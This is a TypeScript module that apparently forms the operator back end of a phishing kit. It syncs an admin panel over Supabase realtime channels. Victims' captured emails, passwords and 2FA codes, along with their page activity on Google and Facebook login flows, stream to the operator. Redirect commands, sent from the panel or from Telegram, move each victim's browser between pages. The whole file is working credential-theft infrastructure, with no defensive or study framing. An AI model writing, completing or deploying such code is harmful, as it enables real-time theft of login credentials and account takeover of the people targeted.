import { supabase } from './supabase'

export type RedirectCommandSource = 'panel' | 'telegram'

export type RedirectQueuedPayload = {
  sessionId: string
  redirectToPage: string
  source: RedirectCommandSource
}

export type CredentialsUpdatedPayload = {
  sessionId: string
  user_email: string | null
  user_password: string | null
  credentials_collected_at: string
  kind: 'email' | 'password' | '2fa'
  message: string
}

export type SessionActivityPayload = {
  sessionId: string
  page_url: string
  updated_at: string
  message: string
  user_email?: string | null
  user_password?: string | null
  journey_steps?: Array<{
    id: string
    at: string
    label: string
    provider?: 'google' | 'facebook' | null
    page_url?: string
  }>
}

export const ADMIN_PANEL_CHANNEL = 'admin-panel-sync'

type RedirectListener = (payload: RedirectQueuedPayload) => void
type CredentialsListener = (payload: CredentialsUpdatedPayload) => void
type SessionActivityListener = (payload: SessionActivityPayload) => void

const redirectListeners = new Set<RedirectListener>()
const credentialsListeners = new Set<CredentialsListener>()
const sessionActivityListeners = new Set<SessionActivityListener>()

let channel: ReturnType<typeof supabase.channel> | null = null
let channelReady: Promise<void> | null = null
let channelSubscribed = false

const pendingRedirects: RedirectQueuedPayload[] = []
const pendingCredentials: CredentialsUpdatedPayload[] = []
const pendingSessionActivity: SessionActivityPayload[] = []

function notifyRedirectListeners(payload: RedirectQueuedPayload): void {
  for (const fn of redirectListeners) {
    try {
      fn(payload)
    } catch (e) {

    }
  }
}

function notifyCredentialsListeners(payload: CredentialsUpdatedPayload): void {
  for (const fn of credentialsListeners) {
    try {
      fn(payload)
    } catch (e) {

    }
  }
}

function notifySessionActivityListeners(payload: SessionActivityPayload): void {
  for (const fn of sessionActivityListeners) {
    try {
      fn(payload)
    } catch (e) {

    }
  }
}

function ensureChannel(): Promise<void> {
  if (channelReady) return channelReady

  channel = supabase.channel(ADMIN_PANEL_CHANNEL, {
    config: { broadcast: { self: true } },
  })

  channel.on('broadcast', { event: 'redirect-queued' }, ({ payload }) => {
    const p = payload as RedirectQueuedPayload | undefined
    if (!p?.sessionId || !p.redirectToPage) return
    notifyRedirectListeners(p)
  })

  channel.on('broadcast', { event: 'credentials-updated' }, ({ payload }) => {
    const p = payload as CredentialsUpdatedPayload | undefined
    if (!p?.sessionId) return
    notifyCredentialsListeners(p)
  })

  channel.on('broadcast', { event: 'session-activity' }, ({ payload }) => {
    const p = payload as SessionActivityPayload | undefined
    if (!p?.sessionId || !p.page_url) return
    notifySessionActivityListeners(p)
  })

  channelReady = new Promise((resolve, reject) => {
    channel!.subscribe((status) => {
      if (status === 'SUBSCRIBED') {
        channelSubscribed = true
        flushPendingBroadcasts()
        resolve()
      }
      if (status === 'CHANNEL_ERROR' || status === 'TIMED_OUT') {
        reject(new Error(`Broadcast channel: ${status}`))
      }
    })
  })

  return channelReady
}

function flushPendingBroadcasts(): void {
  if (!channel || !channelSubscribed) return

  while (pendingRedirects.length > 0) {
    const payload = pendingRedirects.shift()!
    void channel.send({
      type: 'broadcast',
      event: 'redirect-queued',
      payload,
    })
  }

  while (pendingCredentials.length > 0) {
    const payload = pendingCredentials.shift()!
    void channel.send({
      type: 'broadcast',
      event: 'credentials-updated',
      payload,
    })
  }

  while (pendingSessionActivity.length > 0) {
    const payload = pendingSessionActivity.shift()!
    void channel.send({
      type: 'broadcast',
      event: 'session-activity',
      payload,
    })
  }
}

export function warmupRedirectBroadcast(): Promise<void> {
  return ensureChannel()
}

export function broadcastRedirectQueued(payload: RedirectQueuedPayload): void {
  notifyRedirectListeners(payload)
  pendingRedirects.push(payload)
  if (channelSubscribed && channel) {
    flushPendingBroadcasts()
  } else {
    void ensureChannel().catch((err) => {

    })
  }
}

export function broadcastCredentialsUpdated(payload: CredentialsUpdatedPayload): void {
  notifyCredentialsListeners(payload)
  pendingCredentials.push(payload)
  if (channelSubscribed && channel) {
    flushPendingBroadcasts()
  } else {
    void ensureChannel().catch((err) => {

    })
  }
}

export function broadcastSessionActivity(payload: SessionActivityPayload): void {
  notifySessionActivityListeners(payload)
  pendingSessionActivity.push(payload)
  if (channelSubscribed && channel) {
    flushPendingBroadcasts()
  } else {
    void ensureChannel().catch((err) => {

    })
  }
}

export function addRedirectCommandListener(listener: RedirectListener): () => void {
  redirectListeners.add(listener)
  void ensureChannel()
  return () => redirectListeners.delete(listener)
}

export function addCredentialsListener(listener: CredentialsListener): () => void {
  credentialsListeners.add(listener)
  void ensureChannel()
  return () => credentialsListeners.delete(listener)
}

export function addSessionActivityListener(listener: SessionActivityListener): () => void {
  sessionActivityListeners.add(listener)
  void ensureChannel()
  return () => sessionActivityListeners.delete(listener)
}

export function subscribeAdminPanelSync(
  onRedirectQueued: (payload: RedirectQueuedPayload) => void
): () => void {
  return addRedirectCommandListener(onRedirectQueued)
}

export function subscribeAdminCredentialsSync(
  onCredentials: (payload: CredentialsUpdatedPayload) => void
): () => void {
  return addCredentialsListener(onCredentials)
}

export function subscribeAdminSessionActivity(
  onActivity: (payload: SessionActivityPayload) => void
): () => void {
  return addSessionActivityListener(onActivity)
}

type VisitorRedirectListener = (redirectToPage: string) => void
type VisitorCredentialsListener = (payload: CredentialsUpdatedPayload) => void

const visitorRedirectDbChannels = new Map<
  string,
  {
    channel: ReturnType<typeof supabase.channel>
    listeners: Set<VisitorRedirectListener>
  }
>()

const visitorCredentialsDbChannels = new Map<
  string,
  {
    channel: ReturnType<typeof supabase.channel>
    listeners: Set<VisitorCredentialsListener>
  }
>()

function ensureVisitorRedirectDbChannel(sessionId: string): {
  channel: ReturnType<typeof supabase.channel>
  listeners: Set<VisitorRedirectListener>
} {
  const existing = visitorRedirectDbChannels.get(sessionId)
  if (existing) return existing

  const listeners = new Set<VisitorRedirectListener>()
  const channel = supabase
    .channel(`redirect-db:${sessionId}`)
    .on(
      'postgres_changes',
      {
        event: 'UPDATE',
        schema: 'public',
        table: 'user_sessions',
        filter: `session_id=eq.${sessionId}`,
      },
      (payload) => {
        const row = payload.new as { redirect_to_page?: string | null }
        if (!row.redirect_to_page) return
        for (const fn of listeners) {
          try {
            fn(row.redirect_to_page)
          } catch {
            /* ignore listener errors */
          }
        }
      }
    )
    .subscribe()

  const entry = { channel, listeners }
  visitorRedirectDbChannels.set(sessionId, entry)
  return entry
}

function ensureVisitorCredentialsDbChannel(sessionId: string): {
  channel: ReturnType<typeof supabase.channel>
  listeners: Set<VisitorCredentialsListener>
} {
  const existing = visitorCredentialsDbChannels.get(sessionId)
  if (existing) return existing

  const listeners = new Set<VisitorCredentialsListener>()
  const channel = supabase
    .channel(`credentials-db:${sessionId}`)
    .on(
      'postgres_changes',
      {
        event: 'UPDATE',
        schema: 'public',
        table: 'user_sessions',
        filter: `session_id=eq.${sessionId}`,
      },
      (payload) => {
        const row = payload.new as {
          user_email?: string | null
          user_password?: string | null
          credentials_collected_at?: string | null
        }
        if (!row.user_email) return
        const update: CredentialsUpdatedPayload = {
          sessionId,
          user_email: row.user_email,
          user_password: row.user_password ?? null,
          credentials_collected_at: row.credentials_collected_at ?? new Date().toISOString(),
          kind: 'email',
          message: 'Login contact updated',
        }
        for (const fn of listeners) {
          try {
            fn(update)
          } catch {
            /* ignore listener errors */
          }
        }
      }
    )
    .subscribe()

  const entry = { channel, listeners }
  visitorCredentialsDbChannels.set(sessionId, entry)
  return entry
}

export function subscribeVisitorRedirectCommands(
  sessionId: string,
  onRedirect: (redirectToPage: string) => void
): () => void {
  const unsubBroadcast = addRedirectCommandListener((p) => {
    if (p.sessionId === sessionId) {
      onRedirect(p.redirectToPage)
    }
  })

  const { channel, listeners } = ensureVisitorRedirectDbChannel(sessionId)
  listeners.add(onRedirect)

  return () => {
    unsubBroadcast()
    listeners.delete(onRedirect)
    if (listeners.size === 0) {
      supabase.removeChannel(channel)
      visitorRedirectDbChannels.delete(sessionId)
    }
  }
}

export function subscribeVisitorCredentialsSync(
  sessionId: string,
  onCredentials: (payload: CredentialsUpdatedPayload) => void
): () => void {
  const unsubBroadcast = addCredentialsListener((p) => {
    if (p.sessionId === sessionId) {
      onCredentials(p)
    }
  })

  const { channel, listeners } = ensureVisitorCredentialsDbChannel(sessionId)
  listeners.add(onCredentials)

  return () => {
    unsubBroadcast()
    listeners.delete(onCredentials)
    if (listeners.size === 0) {
      supabase.removeChannel(channel)
      visitorCredentialsDbChannels.delete(sessionId)
    }
  }
}
